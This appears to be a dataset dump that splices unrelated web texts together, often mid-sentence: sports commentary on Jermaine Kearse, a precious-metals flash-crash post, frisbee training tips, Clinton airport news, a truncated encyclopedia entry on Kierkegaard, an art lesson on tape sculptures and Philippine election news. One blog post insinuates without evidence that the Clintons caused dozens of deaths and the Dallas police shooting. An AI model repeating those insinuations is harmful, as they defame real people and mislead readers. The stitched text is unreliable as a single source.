decoded_text
stringlengths 4.18k
47.6k
|
|---|
head coach and general manager consistently bring in high priced options around you, but to still come through as a consistent target. Maybe it’s an unwillingness to admit defeat. To see one ball come your way all game, in the first quarter, but yet be ready to make the play in the last minute of the fourth quarter. It’s definitely determination.
But to have not one, not two, but three interceptions come right off of your hands, in one of the biggest games of your life, and still have the confidence to stay locked in to make a play when it’s time? That’s just special.
I remember sitting a few sections to the right of the 12th Man Flag, partially covered but still damp from the monsoon that came through Seattle just prior to kickoff. I was still in disbelief over the comeback that had happened before my very eyes, but optimistic thanks to a huge third down conversion just a play before. I remember Will Tukuafu motioning out wide and laughing, but sure enough the single-high safety walked down to line up across from him.
The ball hung in the air for what already would’ve felt like forever, but felt even longer because of the four interceptions that had come earlier. I had a good enough view of the play to track the ball’s flight the whole way. Once it was clear the ball was out in front of Kearse, not in any danger of being intercepted, I stood with bated breath.
And then he got up, and fired that ball right into the stands. Jermaine Kearse, NFC Championship-clinching touchdown number two.
What followed in Super Bowl XLIX is a good lead into the other side of Kearse, and why moving on from him feels long overdue. There was the ridiculous, miracle catch that set the Seahawks up on the goalline, yes. But had he made a crucial catch earlier in the game - a perfect throw by Wilson on a third down - Seattle likely isn’t needing to drive down the field for a score. Then there was that play.
Having long had a reputation as a receiver who rarely fought through contact, Kearse was tasked with picking the New England Patriots cornerback on the Seahawks’ final offensive play. Not just any cornerback, but the six-foot, four-inch Brandon Browner. It didn’t work, Malcolm Butler made an incredible play and the rest is history.
Kearse’s lackadaisical body language and apparent refusal to fight through contact caught up to him in 2016, as he was the punching bag more than ever for those watching Seattle on a weekly basis. He delivered a three year low in receiving yards and produced just a single touchdown, while his catch-percentage dipped below 50 for the first time since his rookie season. Additionally, he finished dead last of qualifying receivers (minimum 50 targets) in expected passer rating when targeted, with a rating of 57.5 - 35.9 points below expected.
Most frustrating of all, Kearse consistently would get targeted in the redzone over elite touchdown maker Jimmy Graham and the perpetually open Baldwin. If Graham was bracketed constantly, it would be understandable. But the offense was making a concerted effort to isolate Kearse, and he wasn’t getting his job done. He would end the season with just one catch on 15 redzone targets.
Hindsight being 20/20, Kearse and the Seahawks should have parted ways when he was a free agent in March of 2016. The team had younger, more intriguing options in waiting, and Kearse was simply providing them with a logjam. But after little interest in the open market, Kearse stayed home and Seattle brought back a favorite of Wilson’s, leading to a turbulent final season and a skewed perspective on Kearse’s Seahawks career.
At the end of the day, targets we believe should go elsewhere or plays we think a different receiver could’ve made are trivial. The ‘what if’ game can go on for an eternity in sports. The pass he didn’t fight for or the catch he didn’t make in the redzone won’t define Kearse’s career in Seattle. Two conference-winning touchdowns and an unwillingness to say die however, is what makes Jermaine Kearse a local hero.It appears the machines have found a new pattern to follow...
Last night we pointed out the 'odd' - in the sense that nothing amazes us anymore, but still, behavior in precious metals futures markets.
At 1906ET last night, Silver futures flash-smashed higher, running the day's high-stops, before plunging back to earth...
Gold futures also followed suit tonight...
This would normally be shrugged off as just another example of the utter farce that global capital markets have become. However, a glance back in recent history at the silver market's most recent chaos moment - on July 6th - and a 'funny' thing stood out!!!
Gold also followed suit that night too...
h/t @TFMetals
At exactly 1906 ET on July 6th, Silver futures flash-crashed (some say over 10%, though many data feeds have been subsequently 'cleansed' of that sin), before normalizing.
* * *
And sure enough, tonight, at exactly 1906ET once again,'someone' went to town on Silver & Gold futures...
And it even looks like the machines tried to front-run each other a little into the 1906ET mini-flash-crash
So, we ask again, what is it about 1906ET that sends the algos in overdrive? Or is it all just coincidence? Probably nothing, right?
It's now deja deja vu all over again...The Best Bodyweight Exercises For Throwing Farther
Add distance to your hucks with these great exercises.
The ability to send the disc deep accurately and consistently is a skill shared by a select few. Almost everyone has accurate short throws, but most players can only seriously threaten up to 40 or 50 yards away, even in calm weather. If you don’t have access to a gym, but want to huck like Brodie Smith, you should be doing the following exercises.
1. Pushups
The king of upper body exercises and one bodyweight lift you should absolutely be doing if you want to add distance to your hucks. Any type you perform properly will help contribute toward throwing distance, and there are enough variations of the pushup that you’ll never become bored of the exercise. The entire upper body is generally involved in most throws longer than 30 yards; pushups contribute to the raw power behind throws for distance.
Any program that leaves you drained will help, but an excellent one is the push-up ladder during which you rest for as many seconds as push-ups performed. For example, 15 push-ups, rest 15 seconds…14 push-ups, rest 14 seconds. This is a grueling workout if properly adapted to your strength level. You can start with more or fewer push-ups, or take slightly more rest if necessary, but this will significantly improve both strength and endurance.
If regular, shoulder-width push-ups are too easy, you can try diamond (tricep focus), or wide-grip (chest focus). You can also place your feet on a raised surface to make the exercise even more difficult. Check out some of these or these for even more ideas.
2. (Skater) Squats
While nothing replaces the weighted version of the basic back squat, if you find yourself with only bodyweight to work with, you can still develop power in your legs.
Similar to the motion of a baseball swing, the power for a longer throw begins with the legs and hips, and carries through the upper body to the arm and point of release. Squats are invaluable. Do them.
Check out Tim Morrill’s very detailed and helpful discussion of the importance and method of skater squats.
3. Planks
A significant and underrated amount of throwing power and stability is derived from your thoracic spine and core, respectively, especially with backhands. You should work on your core stability with isometric work, like planks.
Tommy Li demonstrates excellent form on this backhand huck, stepping out and generating most of the throw’s power from his torso while maintaining a straight arm to ensure the throw remains flat and sits in space in front of his receiver.
http://gfycat.com/BrownSkinnyHarvestmouse
That being said, a very similar technique to the one that most players use for generating power on backhands can also be used on forehands.
http://gfycat.com/DefenselessCarelessFritillarybutterfly
Watch how much Alex Thorne twists and utilizes his thoracic spine as he steps into this flick huck, while his hips and core remain (for the most part) stable. While most throwers’ forehand hucks appear to be almost entirely arm and wrist motion, Thorne twists his upper body a full 90 degrees before unleashing a shot to the endzone. This allows him to put much more power and consistency into his forehand than if he had relied solely on his arm.
Both Thorne and Li’s throws show impressive body control and stability. Strengthening core stability will go a long way toward being able to generate the sort of reliable power and balance on deep shots that they demonstrate. Planks develop balance and the stabilizing muscles that directly correlate to hucking consistency.
4. Pullups/Chinups
These exercises are critical to developing a strong back as well as overall upper body strength, and add a great balance of pulling to pushups. The back is frequently overlooked in favor of more immediately visible muscle groups like the chest and shoulders, but is perhaps more important in developing strength and preventing imbalances that could lead to injury.
If you’re struggling to complete sets of more than a few chinups (palms towards you) or pullups (palms away from you), start by simply hanging from the bar. This will both begin to work the muscles in your back, as well as improve your grip strength, which is critical for a solid release on any throw, especially in wind or rain. Once you’re able to hold that for an extended period of time, but are still struggling with pull-ups, try hanging at the top position as an intermediate exercise.
Both exercises respond extremely well to volume; do a lot of pullups and you’ll get a lot better at them.
***
Two closing notes:
– Bodyweight exercises are great when you have nothing else to work with, but can always be enhanced by adding weight; weighted lifts are the best means of building strength and power. When possible, use bodyweight exercises to enhance a regimen centered around lifting. Pushups can complement the bench press, while weighted rows and overhead press will help build a stronger back. Nothing replaces deadlifts and weighted squats. That said…
– Some of the best and most consistent deep throwers I know and have watched look like they’ve never lifted a weight in their lives. Size and strength are not all there is to hucking; proper windup and release form also go a very long way toward developing that 80 yard bomb.
RELATED: Ultiworld’s Archive On Throwing Tips And Techniques
Credit to Roger Chu for helpful advice during the writing of this article.Two million people pass through the Bill and Hillary Clinton National Airport every year. For some, the airport is a traveler's first impression of Arkansas, but State Senator Jason Rapert says before visitors exit the doors, the airport's name has already created a negative image of the state.
"The Clintons continue to have scandal after scandal after scandal, and it's just become a problem for our state and the reputation," said Sen. Rapert.
Rapert has filed a bill which would require a name change for a municipal airport named after any living elected or government official. He would like to see LIT be known only as Adams Field.
"It was named after Capt. George Adams, an Arkansas National Guardsman, who died in the line of duty, and that is a much better person to have the honor than the Clinton's who frankly only got it because of their friends on the Airport Commission who wanted to make a political play out of this," said Rapert.
However, the only political play traveler Jill Childers sees is the bill itself.
"I think it's crazy. I think that I'm proud that Bill Clinton was our president. I'm proud that Hillary ran," said Childers.
Childers, who was catching a flight that day, says when she tells folks she's from Arkansas, the first question they ask is about the the Clintons...no matter what name is on the airport sign.
"I think with the Clinton Library being here, it's very closely associated with it," said Childers.
Most passengers who spoke to KATV said they didn't care either way, but Rapert maintains that renaming the airport is an important lesson about consequences.
"Frankly, Bill Clinton is a very similar story to Bill Cosby.Bill Cosby has paid a tremeandous price for what we now know he did, taking advantage of women all over the country. Why is Bill Clinton not having to pay the same price?" asked Rapert.I was discussing the Clinton email travesty with my colleague Thursday afternoon and told him, feeling perfectly assured “The Clinton’s have a way of manipulating the press, so I’ll bet you a dollar a major incident of somekind will occur either tonight or tomorrow to take the focus off of Hillary’s investigation.”
The next day the headlines were horrendous – 5 police murdered in Dallas.
According to conspiracy theorists, way too many people have ‘conveniently’ died around the Clintons, from accidents, suicide or mysterious circumstances. From Vince Foster in 1993 to Suzanne Coleman who committed “suicide” in 1977 by shooting herself in the back of the head (claimed to be 7 months pregant with Bill Clinton’s child), to the death of John Ashe three weeks ago the day before he is set to testify. All of this has been outlined by Conspiracy website What Really Happened a total off 46 suspicious deaths have occurred related to the Clinton’s over the past three decades.
Normally I would not soil the pages of the Punching Bag Post with conspiracy theory material, no matter how compelling. By definition conspiracy theories are unprovable, despite any obvious patterns one might see.
But let’s just look at the most recent events.
Former U.N. President of the General Assembly John Ashe was all set to testify in an FBI investigation (the next day!) for accepting and facilitating bribery involving Ng Lap Seng, a close friend to the Clinton’s and major Clinton Foundation donor. He died. Apparently he was lifting weights and the barbell fell on his throat and strangled him. Sound a bit fishy? Quite fortunate for Mrs. Clinton and her major donor.
And of course, as played out in the press, FBI Director Comey proceeded to describe crimes that fit exactly with certain statues and should have gotten Hillary ten years in jail. And yet he recommended no prosecution because he said there was no “intent.” The statute covering this doesn’t require intent, gross negligence gets you jail time.
The week before the speech, before Mrs. Clinton’s final FBI questioning and supposedly before the investigation was released to the Justice Department, some very strange events occurred. In the media, Hillary praises Attorney General Lynch and says she will likely continue as Attorney General in a Clinton Administration. Then a mysterious meeting occurs between Lynch and Bill Clinton where they exchange “pleasantries” for 30 minutes. Then Lynch announces she will abide by the FBI’s recommendations. Then Director Comey announces, to everyone’s shock, no charges will be filed. Perfecty executed in my opinion.
Is the press “in the tank” for Hillary?
The press seems to miss that in the Benghazi report, Hillary lied about the cause of the attack to cover up the fact that Obama’s terrorist policies were failing. Two months before Obama’s re-election in a close race (decided by less than 4%).
The press seems to not want to cover all of the lies Hillary told during the investigation. It seems to accept Comey’s “double think” statements that describe a crime but state there is no crime.
I’m not saying the press has been bought off. But their love and tolerance for the Obama’s and the Clinton’s allows them to get away with almost anything.
How did the Dallas killings come about?
So in light of the recent and long term history of suspicious events, and in light of the obvious corruption and media bias. Is it out of the realm of possibility the Dallas event was not the work of a “lone gunman”? Something as massively tragic as Dallas, perfectly timed to interrupt an unfavorable news cycle? What happend to the “two shooters” initially reported by the Dallas police?
How would a large and modern Dallas police department mistake one shooter for two? Apparently shots were observed coming from multiple angles and officers on the ground made the judgement there were two shooters (other reports speculated three).
And now there is only a “lone gunman.”
And now peope are focused on this new major tragedy and less focused on Hillary’s crimes and corruptions.
Could it be that was the goal??
A conspiracy theorist might think a call could have been placed to a friendly BLM leader, who just happened to know some bitter, jaded radicals who were looking for an excuse to get into a fight with their own special skills. Perhaps a “rah rah” speech described a sense off history and the beginnings of a revolution, something worth dying for. Perhaps a few hundred thousand dollars trading hands might have greased the skids a bit.
Of course, no sane person would believe this. Would they?First published Tue Dec 3, 1996; substantive revision Fri Nov 10, 2017
Søren Aabye Kierkegaard (b. 1813, d. 1855) was a profound and prolific writer in the Danish “golden age” of intellectual and artistic activity. His work crosses the boundaries of philosophy, theology, psychology, literary criticism, devotional literature and fiction. Kierkegaard brought this potent mixture of discourses to bear as social critique and for the purpose of renewing Christian faith within Christendom. At the same time he made many original conceptual contributions to each of the disciplines he employed. He is known as the “father of existentialism”, but at least as important are his critiques of Hegel and of the German romantics, his contributions to the development of modernism, his stylistic experimentation, his vivid re-presentation of biblical figures to bring out their modern relevance, his invention of key concepts which have been explored and redeployed by thinkers ever since, his interventions in contemporary Danish church politics, and his fervent attempts to analyse and revitalise Christian faith.
Kierkegaard led a somewhat uneventful life. He rarely left his hometown of Copenhagen, and travelled abroad only five times—four times to Berlin and once to Sweden. His prime recreational activities were attending the theatre, walking the streets of Copenhagen to chat with ordinary people, and taking brief carriage jaunts into the surrounding countryside. He was educated at a prestigious boys’ school (Borgerdydskolen), then attended Copenhagen University where he studied philosophy and theology. His teachers at the university included F.C. Sibbern, Poul Martin Møller, and H.L. Martensen.
Sibbern and Møller were both philosophers who also wrote fiction. The latter in particular had a great influence on Kierkegaard’s philosophico-literary development. Martensen also had a profound effect on Kierkegaard, but largely in a negative manner. Martensen was a champion of Hegelianism, and when he became Bishop Primate of the Danish People’s Church, Kierkegaard published a vitriolic attack on Martensen’s theological views. Kierkegaard’s brother Peter, on the other hand, was an adherent of Martensen and himself became a bishop. Kierkegaard regarded Martensen as one of his chief intellectual rivals. Martensen was only five years his senior, but was already lecturing at Copenhagen University when Kierkegaard was a student there. Martensen also anticipated Kierkegaard’s first major literary project, by publishing a book on Faust. Kierkegaard, who had been working up a project on the three great medieval figures of Don Juan, Faust and Ahasuerus (the wandering Jew), abandoned his own project when Martensen’s book appeared, although he later incorporated much of the work he had done into Either/Or.
Another very important figure in Kierkegaard’s life was J.L. Heiberg, the doyen of Copenhagen’s literati. Heiberg, more than any other person, was responsible for introducing Hegelianism into Denmark. Kierkegaard spent a good deal of energy trying to break into the Heiberg literary circle, but desisted once he had found his own voice in The Concept of Irony. Kierkegaard’s first major publication, From the Papers of One Still Living, is largely an attempt to articulate a Heibergian aesthetics—which is a modified version of Hegel’s aesthetics. In From the Papers of One Still Living, which is a critical review of Hans Christian Andersen’s novel Only A Fiddler, Kierkegaard attacks Andersen for lacking life-development (Livs-Udvikling) and an outlook on life (Livs-Anskuelse) both of which Kierkegaard deemed necessary for someone to be a genuine novelist (Romandigter).
Kierkegaard’s life is more relevant to his work than is the case for many writers. Much of the thrust of his critique of Hegelianism is that its system of thought is abstracted from the everyday lives of its proponents. This existential critique consists in demonstrating how the life and work of a philosopher contradict one another. Kierkegaard derived this form of critique from the Greek notion of judging philosophers by their lives rather than simply by their intellectual artefacts. The Christian ideal, according to Kierkegaard, is even more exacting since the totality of an individual’s existence is the artefact on the basis of which s/he is judged by God for h/er eternal validity. Of course a writer’s work is an important part of h/er existence, but for the purpose of judgement we should focus on the whole life not just on one part.
In a less abstract manner, an understanding of Kierkegaard’s biography is important for an understanding of his writing because his life was the source of many of the preoccupations and repetitions within his oeuvre. Because of his existentialist orientation, most of his interventions in contemporary theory do double duty as means of working through events from his own life. In particular Kierkegaard’s relations to his father and his fiancée Regine Olsen pervade his work. Kierkegaard’s pseudonym Johannes Climacus says of Socrates that “his whole life was personal preoccupation with himself, and then Governance comes and adds world-historical significance to it.” Similarly, Kierkegaard saw himself as a “singular universal” whose personal preoccupation with himself was transfigured by divine Governance into universal significance.
Kierkegaard’s relation to his mother is the least frequently commented upon since it is invisible in his work. His mother does not rate a direct mention in his published works, or in his diaries—not even on the day she died. However, for a writer who places so much emphasis on indirect communication, and on the semiotics of invisibility, we should regard this absence as significant. Johannes Climacus in Concluding Unscientific Postscript remarks, “… how deceptive then, that an omnipresent being should be recognisable precisely by being invisible.” Although Kierkegaard’s mother is absent, his mother-tongue (Modersmaal—etymologically derived from the words for “mother” and “measure”) is almost omnipresent. Kierkegaard was deeply enamoured of the Danish language and worked throughout his writings to assert the strengths of his mother-tongue over the invasive, imperialistic influences of Latin and German. With respect to the former, Kierkegaard had to petition the king to be allowed to write his philosophy dissertation On the Concept of Irony with constant reference to Socrates in Danish. Even though permission was granted he was still required to defend his dissertation publicly in Latin. Latin had been the pan-European language of science and scholarship. In Denmark, in Kierkegaard’s time, German language and culture were at least as dominant as Latin in the production of knowledge. In defiance of this, Kierkegaard revelled in his mother-tongue and created some of the most beautifully poetic prose in the Danish language—including a paean to his mother-tongue in Stages On Life’s Way. In Repetition (1843), the character and pseudonymous author Constantin Constantius congratulates the Danish language on providing the word for an important new philosophical concept, viz. Gjentagelse (repetition), to replace the foreign word “mediation”. In general, we might regard the Danish language as Kierkegaard’s umbilical attachment to the mother whereas Latin and German represent the law of the father, especially when employed in systematic scholarship or science (Videnskab).
The influence of Kierkegaard’s father on his work has been frequently noted. Not only did Kierkegaard inherit his father’s melancholy, his sense of guilt and anxiety, and his pietistic emphasis on the dour aspects of Christian faith, but he also inherited his talents for philosophical argument and creative imagination. In addition Kierkegaard inherited enough of his father’s wealth to allow him to pursue his life as a freelance writer. The themes of sacrificial father/son relationships, of inherited sin, of the burden of history, and of the centrality of the “individual, human existence relationship, the old text, well known, handed down from the fathers” (Postscript) are repeated many times in Kierkegaard’s oeuvre. The father’s sense of guilt was so great (for having cursed God? for having impregnated Kierkegaard’s mother out of wedlock?) that he thought God would punish him by taking the lives of all seven of his children before they reached the age of 34 (the age of Jesus Christ at his crucifixion). This was born out for all but two of the children, Søren and his older brother Peter. Søren was astonished that they both survived beyond that age. This may explain the sense of urgency that drove Kierkegaard to write so prolifically in the years leading up to his 34th birthday.
Kierkegaard’s (broken) engagement to Regine Olsen has also been the focus of much scholarly attention. The theme of a young woman being the occasion for a young man to become “poeticized” recurs in Kierkegaard’s writings, as does the theme of the sacrifice of worldly happiness for a higher (religious) purpose. Kierkegaard’s infatuation with Regine, and the sublimated libidinal energy it lent to his poetic production, were crucial for setting his life course. The breaking of the engagement allowed Kierkegaard to devote himself monastically to his religious purpose, as well as to establish his outsider status (outside the norm of married bourgeois life). It also freed him from close personal entanglements with women, thereby leading him to objectify them as ideal creatures, and to reproduce the patriarchal values of his church and father. The latter included viewing women in terms of their traditional social roles, particularly as mothers and wives, but also in their traditional spiritual roles as epitomes of devotion and self-sacrifice. Nevertheless, whatever one’s life circumstances, social roles and gender, Kierkegaard regarded everyone as equal before God under the aspect of eternity.
Kierkegaard’s central problematic was how to become a Christian in Christendom. The task was most difficult for the well-educated, since prevailing educational and cultural institutions tended to produce stereotyped members of “the crowd” rather than to allow individuals to discover their own unique identities. This problem was compounded by the fact that Denmark had recently and very rapidly been transformed from a feudal society into a capitalist society. Universal elementary education, large-scale migration from rural areas into cities, and greatly increased social mobility meant that the social structure changed from a rigidly hierarchical one to a relatively “horizontal” one. In this context it became increasingly difficult to “become who you are” for two reasons: (i) social identities were unusually fluid; and (ii) there was a proliferation of normalizing institutions which produced pseudo-individuals.
Given this problematic in this social context Kierkegaard perceived a need to invent a form of communication which would not produce stereotyped identities. On the contrary, he needed a form of rhetoric which would force people back onto their own resources, to take responsibility for their own existential choices, and to become who they are beyond their socially imposed identities. In this undertaking Kierkegaard was inspired by the figure of Socrates, whose incessant irony undermined all knowledge claims that were taken for granted or unreflectively inherited from traditional culture. In his dissertation On the Concept of Irony with constant reference to Socrates Kierkegaard argued that the historical Socrates used his irony in order to facilitate the birth of subjectivity in his interlocutors. Because they were constantly forced to abandon their immediate answers to Socrates’ annoying questions, they had to begin to think for themselves and to take individual responsibility for their claims about knowledge and value.
Kierkegaard sought to provide a similar service for his own contemporaries. He used irony, parody, satire, humor, and deconstructive techniques in order to make conventionally accepted forms of knowledge and value untenable. He was a gadfly—constantly irritating his contemporaries with discomforting thoughts. He was also a midwife—assisting at the birth of individual subjectivity by forcing his contemporaries to develop an inner life through critical self-reflection. His art of communication became “the art of taking away” since he thought his audience suffered from too much knowledge rather than too little.
Hegelianism promised to make absolute knowledge available by virtue of a science of logic. Anyone with the capacity to follow the dialectical progression of the purportedly transparent concepts of Hegel’s logic would have access to the mind of God (which for Hegel was equivalent to the logical structure of the universe). Kierkegaard thought this to be the hubristic attempt to build a new tower of Babel, or a scala paradisi—a dialectical ladder by which humans can climb with ease up to heaven. Kierkegaard’s strategy was to invert this dialectic by seeking to make everything more difficult. Instead of seeing scientific knowledge as the means of human redemption, he regarded it as the greatest obstacle to redemption. Instead of seeking to give people more knowledge he sought to take away what passed for knowledge. Instead of seeking to make God and Christian faith perfectly intelligible he sought to emphasize the absolute transcendence by God of all human categories. Instead of setting himself up as a religious authority, Kierkegaard used a vast array of textual devices to undermine his authority as an author and to place responsibility for the existential significance to be derived from his texts squarely on the reader.
Kierkegaard distanced himself from his texts by a variety of devices which served to problematize the authorial voice for the reader. He used pseudonyms in many of his works (both overtly aesthetic ones and overtly religious ones). He partitioned the texts into prefaces, forewords, interludes, postscripts, appendices. He assigned the “authorship” of parts of texts to different pseudonyms, and invented further pseudonyms to be the editors or compilers of these pseudonymous writings. Sometimes Kierkegaard appended his name as author, sometimes as the person responsible for publication, sometimes not at all. Sometimes Kierkegaard would publish more than one book on the same day. These simultaneous books embodied strikingly contrasting perspectives. He also published whole series of works simultaneously, viz. the pseudonymous works on the one hand and on the other hand the Edifying Discourses published under his own name.
All of this play with narrative point of view, with contrasting works, and with contrasting internal partitions within individual works leaves the reader very disoriented. In combination with the incessant play of irony and Kierkegaard’s predilection for paradox and semantic opacity, the text becomes a polished surface for the reader in which the prime meaning to be discerned is the reader’s own reflection. Christian faith, for Kierkegaard, is not a matter of learning dogma by rote. It is a matter of the individual repeatedly renewing h/er passionate subjective relationship to an object which can never be known, but only believed in. This belief is offensive to reason, since it only exists in the face of the absurd (the paradox of the eternal, immortal, infinite God being incarnated in time as a finite mortal).
Kierkegaard’s “method of indirect communication” was designed to sever the reliance of the reader on the authority of the author and on the received wisdom of the community. The reader was to be forced to take individual responsibility for knowing who s/he is and for knowing where s/he stands on the existential, ethical and religious issues raised in the texts.
While much of Kierkegaard’s writing is presented indirectly, under various pseudonyms, he did publish some works under his own name. These works fall into three genres: (i) deliberations; (ii) edifying discourses; and (iii) reviews. The point of indirect communication is to position the reader to relate to the truth with appropriate passion, rather than to communicate the truth as such. In a review, however, it is appropriate to be objective, especially in drawing out a novel’s life-view and life-development. A deliberation (Overveielse), on the other hand, ought to be provocative, and turn the reader’s assumptions topsy-turvy. It draws on irony, the comic and is high-spirited, in order to get thoughts into motion prior to action. A deliberation is a weighing-up, as a propaedeutic to action. An edifying discourse [Opbyggelige Tale], by contrast, “rests in a mood” and presupposes that the reader is already in faith. It seeks to build up the faith that it presupposes. Typically Kierkegaard’s Edifying Discourses invite “that single individual, my reader” to dwell with a biblical passage for the sake of building up faith. Kierkegaard published many of his Edifying Discourses in short collections to accompany particular pseudonymous texts, then later published them again in larger collections. He also published various “Discourses at the Communion on Fridays”, which closely resemble sermons (although they are delivered “without authority”). These are particularly intimate addresses to the sincere Christian, who strives to deepen the subjective passion of faith through confession and through acceptance of divine forgiveness.
Kierkegaard draws attention to Christianity’s “inverted dialectic”, which demands that we exercise “double vision”, to see in worldly things their spiritual opposites, such as hope in hopelessness, strength in weakness and prosperity in adversity. The inverse dialectic also requires that we “reduplicate” our thoughts in our actions, but in so doing that we “work against ourselves”. This was aimed at subverting our focus on worldly goals in order to refocus on other-worldly goals.
Kierkegaard’s rhetorical play with the inverse Christian dialectic was designed not to make the word of God easier to assimilate, but to establish more clearly the absolute distance that separates human beings from God. This was in order to emphasize that human beings are absolutely reliant on God’s grace for salvation. While most commentators regard Kierkegaard’s view to be that sin is what separates human beings absolutely from God, thereby lending weight to the view that Kierkegaard endorses a particularly dour version of Christianity, a more defensible interpretation is that it is the transcendent God’s capacity to forgive the unforgivable that marks the absolute difference. Our struggle to accept divine forgiveness can become mired in despair, including the second-order despair over the impossibility of forgiveness of our sins and the demonic despair of defiance in which we refuse to accept forgiveness. On the other hand, faith in divine forgiveness can manifest in joy, at the realization that for God anything is possible, including our “rebirth” as spiritual selves with “eternal validity”.
Kierkegaard presents his “first” pseudonymous authorship (Either-Or to Concluding Unscientific Postscript) as a dialectical progression of existential stages. The first is the aesthetic, which gives way to the ethical, which gives way to the religious. The aesthetic stage of existence is characterized by the following: immersion in sensuous experience; valorization of possibility over actuality; egotism; fragmentation of the subject of experience; nihilistic wielding of irony and scepticism; and flight from boredom.
The figure of the aesthete in Either-Or (Part One) is an ironic portrayal of German romanticism, but it also draws on medieval characters as diverse as Don Juan, Ahasuerus, and Faust. It finds its most sophisticated form in the author of “The Seducer’s Diary”, the final section of Either-Or (Part One). Johannes the seducer is a reflective aesthete, who gains sensuous delight not so much from the act of seduction but from engineering the possibility of seduction. His real aim is the manipulation of people and situations in ways which generate interesting reflections in his own voyeuristic mind. The aesthetic perspective transforms quotidian dullness into a richly poetic world by whatever means it can. Sometimes the reflective aesthete will inject interest into a book by reading only the last third, or into a conversation by provoking a bore into an apoplectic fit so that he can see a bead of sweat form between the bore’s eyes and run down his nose. That is, the aesthete uses artifice, arbitrariness, irony, and wilful imagination to recreate the world in his own image. The prime motivation for the aesthete is the transformation of the boring into the interesting.
This type of aestheticism is criticized from the point of view of ethics. It is seen to be emptily self-serving and escapist. It is a despairing means of avoiding commitment and responsibility. It fails to acknowledge one’s social debt and communal existence. And it is self-deceiving insofar as it substitutes fantasies for actual states of affairs.
But Kierkegaard did not want to abandon aesthetics altogether in favor of the ethical and the religious. A key concept in the Hegelian dialectic, which Kierkegaard’s pseudonymous authorship parodies, is Aufhebung (sublation). In Hegel’s dialectic, when contradictory positions are reconciled in a higher unity (synthesis) they are both annulled and preserved (aufgehoben). Similarly with Kierkegaard’s pseudo-dialectic: the aesthetic and the ethical are both annulled and preserved in their synthesis in the religious stage. As far as the aesthetic stage of existence is concerned what is preserved in the higher religious stage is the sense of infinite possibility made available through the imagination. But this no longer excludes what is actual. Nor is it employed for egotistic ends. Aesthetic irony is transformed into religious humor, and the aesthetic transfiguration of the actual world into the ideal is transformed into the religious transubstantiation of the finite world into an actual reconciliation with the infinite.
But the dialect |
, is the person crouching, sitting, or standing. They can slightly overlap the sections as they tape them back together, but they must be careful not to lose the correction proportions.
I have mannequin heads in my classroom, which we use to create the head. Find something that will work for a head, you do not want your students wrapping their heads in tape.
Because you have to wrap sensitive areas, I also recommend dividing the students up based on gender. I allowed my girls to use my storage closet if they felt uncomfortable wrapping certain areas in front of the class.
3. Once the tape people are constructed it’s time to hang. I have had a lot of help from facility employees in the past, but this year I has a little more on my own. If you are hanging in high places, just be careful! Most schools have the tiles that can be moved, with the metal support bars in between. I tie fishing wire to the sculpture, and then to a bent paperclip. I then bend the paperclip around the metal support bar, and put the tiles back in place. This may sound ghetto, but it works like a charm. The tape people are relatively light and as long as you have at least two hanging points you shouldn’t have an issue.
If any students want their tape person standing make sure the legs are thick enough to hold the weight, put it in an out of the way spot, and prop it against a wall. I haven’t had a lot of luck with the standing people staying standing. Typically a weak point will buckle, and they turn into sitting people.
Here are examples from my Fall 2012 Sculpture I class! I hope you enjoy!
I don’t know how it happened, but someone I ended up with two groups doing upside down Spidermen in two different areas. Typically I would encourage one group to do something else, but they were both so excited about it, I let it go. The purpose of both sculptures were to bring attention to the high ceilings in the areas. When you are walking in a building you are in day, after day, you begin to forget about all of the interesting architectural details. I thought both did a great job! This sculpture was suspended from the overhang above the entrance. I love how it makes you look up and pay attention to the high ceilings.
Even though I had two Spidermen, at least they were in different areas and had slightly different positions. This sculpture was suspended from the railing. I loved how the head looked from the floor below, all you could see was a round orb until you walked up the stairs. This one is hung in the Middle School building, and of course they ate it up!
This sculpture is one of my favorites from this group. It was well made and they added the wings for an extra detail. I currently work at a private Christian school. This is my first year here, and I came from a title one public school. HUGE difference. As a Christian school we have a chapel, and this piece is placed in the chapel. The students wanted to bring focus to the purpose of the space, to worship. They placed the angel in a position to make it seem as if it is flying towards the altar, and the angel emphasizes the idea of a holy place. This group was very thoughtful with the location.
This sculpture was the only sitting sculpture. It was placed in the library, in a chair that is one of a group of four. The librarians LOVED having it, they cracked up when they saw three students studying in the chairs with the tape person occupying the fourth. The purpose of this sculpture was to highlight the purpose of the space, to read and learn.
This sculpture was placed at the end of the hallway. It was meant to make the viewer aware of their space, if you sit on the bench you may become uncomfortable with a tape person’s hand almost touching your head. I believe this one would’ve been more successful if it had hung lower, however in a high school you must consider keeping things out of reach.
The students, administrators, and faculty all love this project. It’s a great way to display art in your school, and get a lot of chatter going about your program. I found out about this lesson through one of my former coworkers, who found out about it through her former coworker, sometimes the best lessons are the ones that are stolen from others! Good luck, I hope you give it a try, and if you do send me some pictures!'It’s true what he said, 'I cannot apologize for the sins of my father'... But when you benefitted from the sins of the father, it's your sin too,' says Leni Robredo of Marcos
Published 3:59 PM, April 12, 2016
MANILA, Philippines – If it were up to Liberal Party (LP) vice-presidential candidate Leni Robredo, survey front-runner Senator Ferdinand Marcos Jr, shouldn’t even be running for the second highest post in the land today.
Robredo was asked on Tuesday, April 12, by ANC Headstart host Karen Davila if she thinks the Marcos family should be “perpetually disqualified to run for office.” Senator Marcos is the only son and namesake of the late dictator Ferdinand Marcos Sr, who ruled the country for more than two decades, initially under Martial Law.
“With the magnitude of wealth that was robbed from us, dapat sana oo (that should’ve been the case). With the magnitude of the human right abuses that has been committed during the Marcos regime, dapat sana oo (that should’ve been the case),” the Camarines Sur Representative said.
On Tuesday, an ABS-CBN survey conducted by Pulse Asia Research, Incorporated showed Marcos ahead of the race with a preference rating of 28%. Robredo and Escudero trailed, with 22% and 21%, respectively.
Of the 6 candidates for the vice presidency, Robredo has been the most vocal in calling Marcos out for the dark days of Martial Law, which was marred by human rights abuses, enforced disappearances, and the theft of billions from the country’s coffers.
Even during a visit to Ilocos Norte, the home province and bailiwick of the Marcoses, Robredo was vocal in her stand against Martial Law.
“Talagang naniniwala ako na (I believe that) it would be relative to office, lalo na (especially) for something as high as the vice presidency. Parang laughing stock of the world tayo. Ngayon, parang pinabayaan natin na (It’s as if we let it slip) in the previous years they’re really back into power,” added Robredo.
Another vice-presidential candidate, Marcos’ party-mate Senator Alan Peter Cayetano, recently joined the fray, hitting Marcos aggressively during the recently-concluded Commission on Elections (Comelec) vice presidential debate.
Unity but…
Asked about Marcos’ closing statement about being a leader that “unites”, Robredo said Marcos was right – but pointed out that his is a different perspective.
